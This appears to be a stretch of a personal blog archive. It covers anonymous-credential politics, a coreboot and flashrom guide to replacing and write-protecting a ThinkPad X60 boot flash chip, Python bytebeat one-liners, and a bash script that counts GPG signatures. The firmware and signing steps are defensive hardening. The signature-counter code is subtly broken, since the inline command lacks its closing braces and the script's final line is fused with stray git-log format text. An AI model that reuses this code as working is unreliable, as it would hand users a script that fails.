We got to talking about login and authentication schemes, and, in some sense, matters of identity. Who should be permitted to edit this legislature? Currently implemented mechanisms were, of course, poorly-designed and insufficient to prove requisite authorisation to edit a proposed bill. And even worse in the case that such a system were to be used for smaller scales, like state or city legislature. Requiring an image of a U.S. passport or state-issued driver’s licence would pose enormous data-retention and privacy issues.

“But is there actually crypto that can do authentication like that safely?” he asked.

I remember that, somehow, through a series of questions and answers, I wound up explaining things like Bitcoin’s demonstrated solution to the consensus issues posed by the Byzantine General’s Problem, the basics of some of my favourite anonymous credential schemes, and how such schemes combined might someday be used to create anonymous electronic identification cards for a system of global, opt-in, techno-panarchist States:

“So, for example, you could be a member of the Republican State, protected by it and paying taxes to it, regardless of where you live, travel, or work. You’d be free to discuss and vote on issues anonymously, truly speaking your mind, unhindered by any worries that your political views might one day become unsavoury and be used against you. And conversely, someone like me: I would be able to opt-in (or out) of whichever State, or collective association, as I saw fit, and be taxed accordingly for my use of whatever public services I’d signed up for. Most importantly, each person could have strong, cryptographic protection of their identity, their associations, and perhaps even proof that they had payed whatever taxes they had opted into.”

I remember shyly looking up from the stitched patterns on his cowboy boots at this point, slightly embarrassed that so many words which might easily convince someone that I was mentally unstable had poured out of my mouth. And I remember the look on the Texan hacker’s face: eyes wide, head tilted again to the side, mouth agape, mind completely blown. He said nothing. He continued to say nothing, and it seemed like this was probably going to take him a while.

This was painful. I really liked this guy. And I absolutely hated that I couldn’t help liking him. I wanted to hate him, goddammit. He was like, you know, the enemy.

But so what if maybe he didn’t understand my crazy-anarchist politics or my decision to never brush my hair and grow dreads down to my knees? I didn’t agree with his Macbook or understand how he could maintain any typing accuracy with his bulgy quarterback biceps. But differences aside, this guy was a good coder, was extremely respectful of female-bodied people and willing to engage them on a technical level, and was willing to write a web app which permitted — as ineffectual as I suspect such a statement would be — people like me to voice their opinions, publicly and equally.

I guess I suppose grumble that maybe there are grumble a few decent people grumble on Capitol Hill.

For what it’s worth, I don’t remember the name of the plaided Texan I spoke with on that day two years ago, so please correct me if I’m wrong, but I strongly suspect that it was Jeremy Carbaugh of the Sunlight Foundation, and that the web app in question was PublicMarkup, the code for which is available on Github.

¹ I’m thinking specifically the one with the cop trying to arrest Moxie for carrying a closed wine bottle onto a sailboat in a harbour, while an ongoing Navy exercise in the water is using trained dolphins strapped with explosives to rocket a scuba-driving Navy Seal out of the water and up into the air, where other Navy Seals on a boat practice gunning him down.

² Upon proofreading this post, a friend suggested that I not retroactively “misterm” actions which were not, legally speaking “lying” per se, in a way which could potentially be considered an admission of the crime of lying to a federal agent, and suggested that I should instead say that “I insinuated misinformation to the TSA agent.” While I am slightly anxious about making a blog post containing what could be construed as an admission to a crime which I didn’t commit… on the other hand — because I can’t say the phrase “insinuated misinformation” with a straight face without making an IngSoc doublespeak reference — I’m going to leave my post as-is.

³ Unless, of course, you’re one of the rather annoyingly naïve conspiracy theorist assholes who just got on the Internet for the first time to write drivel for Pando, and you happen to count contracting to non-profits like the LEAP Encryption Access Project and the Tor Project as somehow “working for the U.S. government”, despite both projects being very clear about whom they receive grant funding from and for what purposes.

⁴ And following Mike Perry’s frequent examples, I’d also like to take this opportunity to hold my I’ve-never-received-a-National-Security-Letter card high in the air while I still can.

⁵ I hear that Mike Perry enjoys getting his feet wet. Perhaps he’ll write something about it.

⁶ Story for another time.

⁷ Because I can hear the other feminists yelling at me as I write this: by “not bothered” I mean that “I’ve become much too much accustomed to this to feel personally offended at this particular incident.”

⁸ Where the word “life” is instead taken to mean “the current deranged sociocultural arrangement in which female persons are coerced in innumerable ways to assume that they are intrinsically ill-adept w.r.t. skills in various technologies, sciences, and other areas of interest and study which are commonly considered by those afflicted with Historiological Retrograde Amnesia to have ‘always been’ primarily male.”

Replacing a Thinkpad X60 Bootflash Chip:

2014-01-10T15:29:00+00:00

Using coreboot to directly initialise a Linux kernel payload

UPDATED: (2014-01-13) To include corrections and additional comments from Peter.

The idea behind this is to build on top of the Thinkpad hardware modifications which I mentioned in one of my last posts, and which were discussed by Peter Stuge in his recent 30c3 talk, “Hardening Hardware & Choosing a #goodBIOS”. Pretty much all of this post is the result of shouldersurfing Peter, asking way too many questions, and writing down everything which seemed like I’d forget it and wished I knew it later when doing these modifications on my own. Peter also took the photos used in this post; all credit, praise, hoorays, BTC, dogecoin, and whatever else should go to Peter for his work.

Rather than relying on a coreboot image which sits in the onboard bootflash chip — the default chip sadly has a volatile write-protect pin that is reset to an unprotected write state on poweroff — we can replace this chip with a larger one. In most laptops, the bootflash chip is anywhere from 1MB to 4MB. Newer UEFI-enabled machines are beginning to push this limit, often requiring 8MB chips, but this is still far from ubiquitous in the marketplace. If we pull the bootflash chip from the mainboard and replace it with a larger one, we can flash it with a coreboot image which contains a Linux kernel payload and initramfs, then set write-protect though “software” (more like mediumware, if you ask me) via the UART interface and/or through hardware by soldering a bridge between two of the bootflash chip’s pins. This allows us to skip using a bootloader (such as GRUB2, LILO, etc.) entirely, booting directly to the flashed kernel.

Wait. How reversible is this process?

You should take a backup of the original blob on the original bootflash chip before playing with it, of course. If a chip is flashed with a disfunctional ROM, the simplest (and least likely to damage the mainboard) method for replacing the chip is to cut the pins again (as described below), desolder the remaining pin stubs, and use a desoldering wick again to clean up the mess. Provided you’ve got a backup of the original blob, just flash that to a new chip, resolder, and you should be back where you started.

There is a risk of bricking your mainboard while doing this. You probably shouldn’t be doing this to your only machine, unless you enjoy the thrills of living life out on the edge and potentially burning your safety blanket. Please take everything I say with a handful of salt, I’m currently traveling and won’t have a chance to try this until I return to the place I came from, whenever that is. And I cannot be held liable for your mistakes, legal disclaimers legal disclaimers, blah blah blah.

Where can I obtain a good replacement bootflash chip?

Any 8MB or 16MB chip should do. However, in many chips, the write-protect bit is volatile and is reset (to an unprotected write state) at power off.

Chips which are known to have a non-volatile write bit are produced by Macronix and Winbond.

How do I find the correct chip to pull?

In a Thinkpad X60, the bootflash chip, ~~also called a Firmware Hub (FWH),~~ is an SPI chip located on the mainboard, on an LPC bus connected to the southbridge. It should be labelled something like MX25L1605D, and it’s directly adjacent to some Lenovo chip called a ~~U72~~ PMH-7, the latter of which is an embedded ASIC power management controller, the largest chip in the area and not important for our purposes, however useful for locating the bootflash chip. Both are near the two adjacent USB hubs:

The chipnames from the labels in the above photo can also be seen in this block diagram, and here’s a closeup of the section from that diagram pertaining to that LPC bus.

Peter responded with the following explanation of SPI versus FWH:

How to access the boot flash has changed over time; originally it was all paralell on an ISA bus, then came LPC, a 4-bit wide serial bus designed by intel, with two different and incompatible commands (yay!) for reading memory at a 32-bit address, one called “memory read”, the other called “firmware memory read”.

Intel made chipsets which required the latter and flash chips which responded to the latter, and called such flash chips a “firmware hub”. Other chipset and flash chip makers instead used the “memory read” command and didn’t invent any particular names for their flash chips. They’re generally called LPC flash, although that’s technically accurate for an FWH chip as well.

Then came SPI, the 1-bit wide serial interconnect mostly used today to save on PCB traces. To be fair, SPI was originally designed by motorola for interconnecting microcontroller peripherals. “Serial Peripheral Interconnect” the same is probably true for the memory access protocol used in PCs now.

So SPI and FWH are mutually exclusive. The X60 schematic and PCB is from a time just before SPI became the norm so it was designed to use either SPI or FWH, but in practice I’ve only seen SPI used.

U72 is the identifier in the schematic for the PMH-7 chip. (U means it’s some sort of integrated circuit and 72 means it’s the 72nd IC) I’d just refer to the lenovo chip as PMH-7.

How do I pull the chip?

The simple way is to pull the factory chip is to cut the pins, as close to the chip packaging as possible, then desolder the remaining eight pin stubs. And finally, use a desoldering wick to cleanup whatever mess is leftover.

Is there a size limit to the new chip? Can I just use a 64MB chip?

The size of the bootflash chip is limited by the SPI protocol. The largest chip which can be used is 16MB.

While it would be nice to use a huge chip, so that we have extra room for a larger kernel and initramfs, the SPI addressing scheme only has 24 bits, which limits the size of the replacement bootflash chip. It seems whichever old Unix-beardos back in the Epoch days designed the SPI protocol couldn’t foresee anyone ever wanting anything larger. (Futureproofing, assholes. It’s a thing.)

How do I flash a Linux kernel and initramfs to the new, larger chip?

Compiling a Linux kernel

“Any project whose instructions begin with
    ‘First, compile a kernel…’
is not a project you want to be doing.”

I don’t remember who told me this, but whatever, doesn’t matter. They were totally wrong. Fuck you, Dad, I do what I want! I’m not mowing the lawn.

So… first, compile a Linux kernel. If you’ve never done this, please don’t ask me for help. While kernel hackers certainly are not known for their documentation prowess, there are plenty of tutorials on the internet to help you with this step. I remember finding these resources helpful. You also can have a look at my kernel build scripts (beware, I’ve not used that script to build a kernel image for a coreboot ROM yet); perhaps it will help.

You’ll want to strip down your kernel as small as possible (i.e. by removing drivers/support for hardware/devices which don’t exist in your machine). And, preferably, compile it monolithically (all modules compiled in, and support for additional module loading disabled). If you really want module support for some reason, it could be interesting to look into the kernel module signing features which were added into Torvald’s main tree during the 3.7 release.

Peter wrote:

The kernel file needed is called bzImage, that’s the actual filename. After running make it’s in arch/x86/boot/bzImage in the kernel source tree and it is the file bootloaders normally use, grub as well as lilo.

Adding an initramfs into the kernel

Additionally, while compiling the kernel, there are options to specify the location of an initramfs which will get compiled into the kernel (you’ll hit these when you edit the kernel config, e.g. when you do make-menuconfig or make-config):

 CONFIG_BLK_DEV_INITRD=y
 CONFIG_INITRAMFS_SOURCE="/usr/src/initramfs"

There is a decent Gentoo wiki page on the directory layout requirements for building a custom initramfs. Keeping in mind, of course, that your whole coreboot + kernel + initramfs will need to be small enough to flash onto the chip later.

TODO: My current, statically-linked, tor-0.2.4.20 binary is 8MB, and stripping the object symbols with

 strip --strip-all '/path/to/tor-0.2.4.20'

I can get it down to 1.8MB. It would be nice to see if we can get a working kernel for a Thinkpad X60, with an initramfs which includes basic security and communications software such as Tor, xmpp-client, gnupg, and, most likely, ssh, cryptsetup, and a busybox as well.

Compiling the kernel into a CoreBoot ROM

Then compile the kernel into a CoreBoot ROM. There isn’t much documentation of this process yet, but my understanding from looking over the CoreBoot source tree would be to use the PAYLOAD_LINUX option in the included Kconfig file to specify the path to the bzImage of your compiled kernel. If you try this before I get a chance to, it would be great if you could document the steps involved and [email protected]">send them to me and I’ll add them here.

Peter added:

Indeed making coreboot use a kernel as payload is done during coreboot ‘make menuconfig’ (or make config if you prefer) by entering the Payload submenu, selecting “A Linux payload” and specifying the path to the bzImage file in the kernel source tree.

How can I sign the kernel which gets flashed to the new chip?

This needs to be researched further. Likely, commands for this could be placed directly into the initramfs’s /init script. As mentioned above, the kernel itself supports module signing, though this is neither sufficient nor necessary given the benefits of a monolithic kernel in this context. It could be possible to get a TPM chip (see the tpm_tis kernel module) to keep keys required for checking a kernel signature, though I know very little about TPM. It’s also likely that someone else has already worked on this.

The kernel and initramfs in boot flash don’t strictly need to be signed because the flash chip is made read-only in hardware once they have been written to it. That hardware write protection is the root of trust. If someone has access to the hardware long enough to tamper with the flash chip then game over anyway.

One further step is possible: adding TPM support to coreboot, having coreboot measure itself and then using the TPM to unseal an encrypted kernel+initramfs. I’m not sure if that would actually have any advantages. However - the initramfs used with the kernel could, and should, check signatures of whatever it starts. That still needs to be designed. — Peter

Prior modifications

I’ll briefly cover the prior modifications. Peter was nice enough to drop me a tarball of all the images from the slides in his talk, which is fortunate because my camera and I are currently not exactly on speaking terms.

STEP 1:

Remove the keyboard and palmrest from the chassis:

PC87382 Pin Diagram(larger image)

STEP 2:

Next, disconnect pins 4, 18, 20, 26, 29, 31, 33, 37, 39, 41, 42 on a chip labelled PC87382, which forwards bus communications through two LPC buses from an external dock. To disconnect them, simply get a scalpel and carefully cut them from the chip’s packaging, and then desolder the severed pins from the pads on the mainboard.

Photo 041 shows severed pins soldered into the pads. I strongly recommend to remove the pins, as I try to show in photos 043-044, to end up with a result such as in photo 045 without any pins left. This step matters because it’s significantly easier to reconnect the pins to the chip if the original pins are left on the mainboard. Someone could probably do that in an airplane lavatory, modulo the fire alarm. No pins left on the board makes it more difficult to reconnect the chip. But then again, if someone can work on the mainboard they can just replace the boot flash instead. — Peter

STEP 3:

Remove the speaker, the internal wifi card, and the 3g module (if there is one present):

STEP 4:

Remove mainboard and power adapter from chassis.

Schematic showing resistor R461(larger image)

STEP 5:

Disable the Ricoh chip in order to disable the cardbus, firewire, and sdcard reader.

To do this, lift the clear, sticky plastic protector, the one on the top of the mainboard underneath the wifi + 3g cards, near the corner which has two USB ports on it. Remove resistor R461, which is responsible for controlling powerdown signal for the Ricoh chip. Connect pin 2 of R461 (the one closest to the USB ports) to pin 1 of R348, which is just above R461 kind of by itself.

The lone brown component north of R461 is a capacitor, unfortunately its identifier can’t be seen in the photos because this particular PCB uses a much larger font size than most other boards I’ve seen, so the identifiers don’t fit next to their components. (There’s an AA reference north-northwest of R461 and there will be an AA legend somewhere else on that board, but that doesn’t help us much. It’s unfortunate but that’s the only board I had available when taking the photos. :) The identifiers can still be used as reference points though, as long as they aren’t mistaken for the actual identifiers for the components to be removed or modified. — Peter

When you’re done, drop the protective plastic back down over it:

STEP 6:

Remove the microphone.

The microphone is a small, round, silver thing — mostly likely underneath a sheet of opaque, black, protective plastic on the topside of the mainboard, between the firewire and USB connectors. Desolder it from the bottom of the board while pulling it out from the top with a pair of pliers.

Flashing the bootflash chip

Obtain any SPI-compatible programming interface module. Peter was using a FT4232H Mini Module with this handy looking 8-pin clamp, a Pomono 5250 8-pin test clamp to connect to the bootflash chip while it sits on the mainboard. This is the what the test clip looks like while it is attached to the bootflash chip during reflashing:

The VCC pin doesn’t need to be connected to the SPI programmer when flashing (for a Thinkpad X60) because the 3.3 volts required to power the bootflash chip is sourced from the power supply on the mainboard. When a battery or a power supply is connected to the power adapter — which should be connected to the mainboard, the bootflash chip is powered and on. Therefore, only 5 pins need to be connected to the SPI programming module.

To flash the chip, use flashrom, which is packaged in most Debian-based distros.

Flash the chip by specifying the correct chip from the ones listed during automatic detection by flashrom, followed by the location of the binary CoreBoot ROM:

  flashrom -c MX25L1605D/MX25L1608D -r factory.bin

If you get output which reads

  No EEPROM/flash device found

then check the connection between the test clamp and the bootflash pins, and make sure you’ve specified the chip number as is written on the top of the chip.

Flashing: flashrom -r means read the current contents, ie. save a backup of the factory BIOS, for future reference. Note that ThinkPad BIOSes are tied to the particular mainboard so save yours, because no other ThinkPad BIOS works on your mainboard. if you lose it and coreboot doesn’t work then you have to get another mainboard.

The flashrom -w command is the one that actually writes to the chip. — Peter

How can I set write-protect on the bootflash chip from hardware?

Solder a bridge between pins 3 and 4 on the bootflash chip (MX25L1605D). My notes say:

pin 3 is read-protect

pin 4 is ground

I think perhaps I meant write-protect, because read protect doesn’t make much sense to me. But that is what I wrote, in case my current second guessing turns out to be wrong.

pin 3 on the flash chip is indeed write-protect rather than read-protect.

Write-protecting the chip is a little complicated: The status register (SR) in the flash chip has a few block protect bits which say whether parts of the flash chip, or all of it, is write protected or not. The block protect bits can be changed by software as long as SR itself can be written. SR is easily written by software by sending the right command over SPI. flashrom already does this.

The top bit 0x80 in SR controls writes to SR, but software writing to SR is only completely disabled if both the 0x80 bit is set and pin 3 is connected to ground.

On Macronix and Winbond that SR 0x80 bit is non-volatile, ie. once it has been set it stays set until it is cleared by software. If pin 3 has been connected to pin 4 ground then software can’t clear the bit. On SST the SR 0x80 bit is volatile and is always 0 on reset. A workaround would be to have coreboot or possibly a program in the initramfs, but preferably coreboot, set it on boot, but this requires a bit of development.

— Peter

How can I set the write-protect bit from firmware?

The top bit in the status register (SR) is the write-protect bit, if you’re willing to modify the flashrom program to try to set the write-protect bit from firmware. In Peter’s output:

The output lines

  b1.SR=0x80
  b3.SR=0x82

are readings of the SR at different access times. These magic numbers mean very little to me; if it makes sense to you and you’ve got more info, let me know and I’ll add it here.

FINALLY…

Put it all back together and test it!

Be careful for the little wifi toggle switch on the front of the case where the lid closes down. It breaks easily. Or gets lost.

Additional Notes and Future Research

Building a kernel with an initramfs which checks the signature on a Tails live USB

If someone were to build a kernel for a CoreBoot compatible laptop which loads an initramfs, which in turn checks a signature on a Tails live USB and then calls kexec on the kernel within the Tails stick. Because the Tails .iso is signed, but not the individual components once they are installed to a USB stick, ideally, this small initramfs should support signing with keys which aren’t necessarily the Tails Signing Key (though that could be used as well, if the Tails developers would like to provide a way to obtain these additional signatures).

For coreboot machines, it would work to put the signed .iso on the USB stick and have the initramfs mount it and start kernel+initrd from within after having checked the signature of the .iso. The tails-0.20 kernel+initrd would also fit into a 16Mb boot flash. they’re about 12Mb together. I don’t know if the Tails kernel+initrd has any self-check of the root filesystem however. — Peter

Disabling the onboard ethernet controller

Peter mentioned in his talk that he’s been looking for a resistor on the mainboard, labelled R422, which can be seen in the upper left of the schematic to the left.

It’s possible (but currently untested) that the R422 resistor could be used to disable the onboard ethernet controller, if R422 were removed, and then the -GBE_DISABLE side connected to ground. (Similar to R461 above.)

Algorithmic Compositions

2013-12-29T17:42:00+00:00

UPDATED: 23 June, 2014 (originally published on 5 April, 2013)

For a long time, I couldn’t figure out what Twitter was for. I’m not sure I’ve figured that out yet. It seems convenient for posting links to the physics and cryptography whitepapers I read, and then receiving the internet standard — inane feedback from people I’ve never even heard of.

At one point, because I couldn’t figure out what to do with Twitter, I decided to release a bytebeat album through tweets. I’ve seen people tweet links to their new songs or albums or whatever — that’s lame.

So I started creating algorithmic compositions in less than 140 characters in python. The album, fuck_your_bits (hashtag=’#fyb’), is about half done, but my friends Moxie and Emblem pointed out that not only would the search function for hashtags on twitter index only the songs in my album from the past three weeks, but also that tweets in my timeline were dropped from public view after a certain number of months, depending on some indeterminable number of other algorithms that calculated “tweet popularity”.

Because people have been asking for the full album, here it is. I’ll still keep tweeting it though, because the only other useful thing I can think of that impressively fits in less than 140 bytes is shellcode.

python -c'import sys;[sys.stdout.write(chr((~t&t>>3^(((t>>((t>>11)%7+6))%15)*t))%256))for t in xrange(2**19)]'|aplay

python -c'import sys;[sys.stdout.write(chr(((~t>>2)*(2+(42&t*((7&t>>10)*2))<(24&t*((3&t>>14)+2))))%256))for t in xrange(2**18)]'|aplay

python -c'import sys;[sys.stdout.write(chr((((t*5&t>>7|t*9&t>>4|t*18&t/1024)|((t|7)>>5|(t|4)>>9)))%256))for t in xrange(2**18)]'|aplay

python -c'import sys;[sys.stdout.write(chr(((~t>>2)*((127&t*(7&t>>9))<(245&t*(4-(7&t>>13)))))%256))for t in xrange(2**20)]'|aplay -c 2 -r4444

python -c'import sys;[sys.stdout.write(chr((~t>>5>>(127&t*9&~t>>7<42&t*23^5&~t>>13)+3)%256))for t in xrange(2**18)]'|aplay -c2 -r2222

python -c'import sys;[sys.stdout.write(chr((((t>>(2|4)&((t%0x7369)|4|11|5))+(7|4|42)&t))%256))for t in xrange(2**18)]'|aplay -c2 -r4444

python -c'import sys;[sys.stdout.write(chr((((t*(t>>13|t>>8)|(t>>16)-t)-64))%256))for t in xrange(2**18)]'|aplay -r4444

python -c"import sys;[sys.stdout.write(chr(((0x7BB3+t>>11|(t>>(2|5)^(1515|42))|~t)|(2*t)>>6)%256))for t in xrange(2**20)]"|aplay -c2

x="if(t%2)else";python3 -c"[print(t>>15&(t>>(2$x 4))%(3+(t>>(8$x 11))%4)+(t>>10)|42&t>>7&t<<9,end='')for t in range(2**20)]"|aplay -c2 -r4

Poor’s Mans Signature Count

2013-09-07T12:29:00+00:00

I recently agreed to be the maintainer for Tor’s BridgeDB — both the codebase and the server running the website. The poor thing needs a lot of ♥♥♥.

One of the things we want to do is start signing emails from the BridgeDB email responder. As StrangeCharm and others have been complaining that I know to much about GnuPG — I blame writing this python module — and that I keep that knowledge all in my head, I figured at least that I should explain a silly trick I devised this morning.

So, you have a server somewhere in “The Cloud”. You don’t have physical access to the hardware, so you can’t install a smartcard. You want this server to sign things, and you want to be able to carry trust over to a new signing key in the event that the server is compromised. Additionally, you’d like to be able to discover, as best and as soon as possible, if that server and its signing key have been compromised.

So, you create an offline, certification-only keypair. To do this, I booted into TAILS on a modified Thinkpad running Coreboot. The modifications removed the microphone and wifi card, and removed/replaced hardware pertaining to VGA, PCI, Firewire, SD card reader, and boot flash EEPROM SPI, much thanks to my friends at Coreboot, ~~who will hopefully be publishing their research soon. Sorry to keep secrets, but I would like to respect their request to allow them time to publish.~~ UPDATE [2013-12-30]: Peter Stuge presented this research at 30c3 in his talk, “Hardening Hardware & Choosing a #goodBIOS”. Coreboot, by the way, whether you’re running on modified hardware or not, is fucking awesome. Then I attached an RJ45 cable and did:

amnesia@amnesia: ~$ sudo apt-get update && sudo apt-get install pcscd gpgsm dpkg-repack
[…]
amnesia@amnesia: ~$ cd /lib/live/mount/persistent/…/Persistent
amnesia@amnesia: ~$ for p in gpgsm pcscd ; do sudo dpkg-repack $p ; done

in order to download, install, and then repackage the .debs for the GnuPG X.509 certificate manager and smartcard reader driver allocation control daemon. Though it turns out this did me no good. I wanted to use all Open Source Hardware for my smartcards, and so (due to @ioerror‘s research from a year or so ago and recommendation) I went with using a Gemalto USB smartcard reader with an OpenPGP ID-000 smartcard (for purchase here and here). However, the documentation for the OpenPGP smartcard would lead one to believe that it supports three keyslots of 3072-bit length. As it turns out, this is extremely misleading, to the extent that — not only would I have to generate keys below my comfort level bitlength — the card is unusable for any serious key sanitation schema: you can’t store 3072-bit certification-only keys on these cards, not as far as I can tell. Normally, you want your primary key to be certification-only and kept offline, and then keep separated signing, encryption, and authentication subkeys online and rotate them every so often, using the primary certification-only key to sign the newly rotated keys to rollover trust assignments. Sure, great. This card has slots for 3072-bit signing, encryption, and authentication keys. Once the slots are filled, I can’t replace the keys. I suppose the OpenPGP card is targeted at people who want to have to spend €20 everytime they rotate keys, but for me, I think cryptography should be a tool for the masses — not just for overpaid, overfed, white-hatty white dudes who expense the charge.

Onwards. I removed the ethernet cable and rebooted TAILS, (make sure you never boot a Thinkpad with an ethernet cable attached to it), thus the machine should, provided the hardware modification work, not be able to communicate with any other devices. Then with this gpg.conf (commenting out and replacing things which have to do with my normal key) I generated the certification only key, choosing RSA-only (set your own capabilities). Then

$ gpg --edit-key […]
$ gpg> addkey
[…]

and going through the whole process again for each of the signing subkeys.

Next, you create a way for this remote server (A) to authenticate to a git server (B). Gitolite works great for giving keyed access to a repo without needing to give that entity an account on B. You should generate either an ssh key or an authentication-capable GnuPG subkey, and don’t keep it stored on disk anywhere on A, but load it into the agent there with indefinite lifetime (or whatever timeframe you want to have to login onto the server and refresh it).

So let’s say A now has access to a git repository on B.

The Poor Man’s signature count, without a smartcard (which in my case doesn’t actually do me much good, but it could be useful for normal people signing emails and things, or developers who sign all their git commits), goes like this: instead of signing things with "$ gpg -s --clearsign email.txt", you do this mess:

  ∃!isisⒶwintermute:(master *$)~ ∴ gpg -a --clearsign \
      -N "[email protected]=$(( `cat ~/.gnupg/sigs-0xA3ADB67A2CDB8B35/sig-count` + 1 ))" \
      email.txt && \
      { ns=$(( `cat ~/.gnupg/sigs-0xA3ADB67A2CDB8B35/sig-count` + 1 )) ;
        echo -n "$ns" |& tee > ~/.gnupg/sigs-0xA3ADB67A2CDB8B35/sig-count ;} && \
      { d=`date +"%s"`; cd ~/.gnupg/sigs-0xA3ADB67A2CDB8B35 && \
           { git add ~/.gnupg/sigs-0xA3ADB67A2CDB8B35/sig-count && \
                 git commit -q -S -m "$d $ns"

The ‘-N’ will set a new signature notation for the signature being created on the ‘email.txt’ file. This added signature notation which will include the signature counter stored in the file ‘~/.gnupg/sigs-0xA3ADB67A2CDB8B35/sig-count’, incremented by one. If the creation of this signature is successful, the increased counter is then written to that same file. Then, the sig-count file is add to a commit which has an UE timestamp and the current signature count in the commit message, and this commit is signed with another gpg signature, and pushed to a remote git server.

You can also set the keyserver URL as a data packet in the GPG key, if you put something like

sig-keyserver-url https://code.patternsinthevoid.net/?p=sigs-0xA3ADB67A2CDB8B35.git;a=blob_plain;f=sigs;hb=HEAD

into your gpg.conf as you are generating the key, or afterwards, if you resign it.

Also, so that you don’t have to type that above crazy bash nonsense, there is a script which will do all of this for you.

 #!/bin/bash
 #-----------------------------------------------------------------------------
 # gpg-sig-counter
 # ----------------
 # This is a script which can be used to keep track of the number of signatures
 # for a GPG signing key. It is not meant for certifications
 # (a.k.a. signatures) on others' keys. To use it, put it somewhere on your
 # $PATH and create a repo somewhere for keeping a record of signatures. At the
 # top of this script, fill out the variables $SIG_REPO, $REMOTE, $BRANCH for
 # the local directory containing the repo for storing signature data, the name
 # of the remote to push to, and the name of the branch, respectively.
 #
 # This script can be called like this, assuming you want to sign the file
 # 'email.txt':
 #
 # ∃!isisⒶwintermute:(master *$)~ ∴ gpg-sig-counter -f email.txt \
 # …    -h patternsinthevoid.net
 #
 # Where the domain after the '-d' flag should be the domain name of your
 # default GPG key which you are signing with. If you want you can put the
 # locations of your signature repo in your signatures too, to do this put:
 #
 #    sig-keyserver-url https://where.your.repo.is/
 #
 # into your gpg.conf. This script embeds the filename which you are signing,
 # as well as the current count of signatures made by your key as notation data
 # in each signature you make using this script. For example, looking at the
 # following packet dump of the signature for 'email.txt', these would be the
 # first two subpackets which start with 'Hashed Sub: notation data':
 #
 # ∃!isisⒶwintermute:(master *$)~ ∴ pgpdump -p email.txt.asc
 # Old: Signature Packet(tag 2)(870 bytes)
 #         Ver 4 - new
 #         Sig type - Signature of a canonical text document(0x01).
 #         Pub alg - RSA Encrypt or Sign(pub 1)
 #         Hash alg - SHA512(hash 10)
 #         Hashed Sub: signature creation time(sub 2)(4 bytes)
 #                 Time - Sat Sep  7 18:04:11 UTC 2013
 #         Hashed Sub: signature expiration time(sub 3)(critical)(4 bytes)
 #                 Time - Sun Sep  7 18:04:11 UTC 2014
 #         Hashed Sub: notation data(sub 20)(41 bytes)
 #                 Flag - Human-readable
 #                 Name - [email protected]
 #                 Value - 19
 #         Hashed Sub: notation data(sub 20)(61 bytes)
 #                 Flag - Human-readable
 #                 Name - [email protected]
 #                 Value - /home/isis/email.txt
 #         Hashed Sub: notation data(sub 20)(74 bytes)
 #                 Flag - Human-readable
 #                 Name - [email protected]
 #                 Value - 0A6A58A14B5946ABDE18E207A3ADB67A2CDB8B35
 #         Hashed Sub: policy URL(sub 26)(45 bytes)
 #                 URL - https://blog.patternsinthevoid.net/policy.txt
 #         Hashed Sub: preferred key server(sub 24)(93 bytes)
 #                 URL - https://code.patternsinthevoid.net/?p=sigs-0xA3ADB67A2CDB8B35.git;a=blob_plain;f=sigs;hb=HEAD
 #         Sub: issuer key ID(sub 16)(8 bytes)
 #                 Key ID - 0xA3ADB67A2CDB8B35
 #         Hash left 2 bytes - d2 27
 #         RSA m^d mod n(4094 bits) - ...
 #                 -> PKCS-1
 #
 # which show that this signature was the 19th one I made with this script, and
 # the file I signed was 'email.txt'.
 #
 # So, what this script does:
 # --------------------------
 #   1. It embeds the above extra notation data into the signature packets.
 #
 #   2. Then it commits the file containing the signature count, with a commit
 #      message containing a timestamp and the signature count.
 #
 #   3. Next, *it signs the commit*, meaning that for every signature count
 #      *two* signatures are actually being made, but I only cared to keep
 #      trach of the first ones, so deal with it.
 #
 #   4. Then it tries to push to whatever remote you've configured.
 #
 # :authors: Isis Agora Lovecruft, 0xa3adb67a2cdb8b35
 # :license: AGPLv3, see https://www.gnu.org/licenses/agpl-3.0.txt for text
 # :version: 0.0.1
 #-----------------------------------------------------------------------------

 ## SIG_REPO should be set to the local directory your signature count repo is
 ## located at:
 SIG_REPO=~/.gnupg/sigs-0xA3ADB67A2CDB8B35

 ## REMOTE should be set to the name of the remote you wish to push to, if any:
 REMOTE=origin

 ## BRANCH should be set the the name of the branch to push, if any:
 BRANCH=master

 ## Don't touch anything else, unless you've found a bug and are patching it.
 ## ----------------------------------------------------------------------------

 NAME=${0%%/}

 function usage () {
   printf "Usage: %s -f FILE -d DOMAIN [other gpg options]\n\n" $NAME
   printf "Options:\n"
   printf " -f FILE\tThe file to create a signature for\n"
   printf " -d DOMAIN\tThe domain of the email address on your GPG key\n"
   printf " -h\t\tThis cruft\n"
   exit 1
 }

 ## check that we have at least some arguments
 if test "$#" -lt 1 ; then usage ; fi

 while getopts f:d:h x; do
   case $x in
     f)
       file=$OPTARG;
       if test -n "${file}" -a -n "${domain}" ; then
         break
       fi ;;
     d)
       domain=$OPTARG;
       if test -n "${file}" -a -n "${domain}" ; then
         break
       fi ;;
     h) usage;;
     *) break;;
   esac
 done
 shift $((OPTIND - 1))
 gpgopts=$*

 if test -z "$gpgopts" ; then
   gpgopts='-a --clearsign'
 fi

 scf="${SIG_REPO}"/sig-count
 printf "Using signature count file %s" $scf

 gpg -s $gpgopts \
   --sig-notation signed.data@"$domain"="$file" \
   --sig-notation sig.count@"$domain"=$(( `cat $scf` + 1 )) $file && \
     { ns=$(( `cat $scf` + 1 )) ;
       echo -n "$ns" |& tee > "$scf" ; } && \
         { d=`date +"%s"`;
           cd $SIG_REPO && \
           { git add $scf && \
             git commit -q -S -m "$d $ns" (2)%H %n%CredCommit message:%Cgreen %>(2)%s %n%CredSigned commit verification:%n%C(auto)%GG%n" HEAD^.. ;}; }

Tor Bridge Distribution & OONI’s Data Collector

2013-04-28T13:38:00+00:00

Last week, I went to China, for the first — and possibly the last — time.

Later, when I feel like complaining, I’ll blog about the negative things, like the evidence that someone had broken into mine and another Tor developer’s hotel room. As well as the tale of being followed by multiple plainclothes people through the streets of Kowloon, again with another Tor developer, down alleys, in and out of cabs, through electronic stores where I loudly and openly bought tiny audio/video devices to bug myself and the hotel room with. This is the first time I’ve ever worn a wire (I know, they all say that, right?): it doesn’t feel right. I felt the compulsion to warn people who walked up and started talking to me, before they spoke. And even then I still felt dirty and creepy.

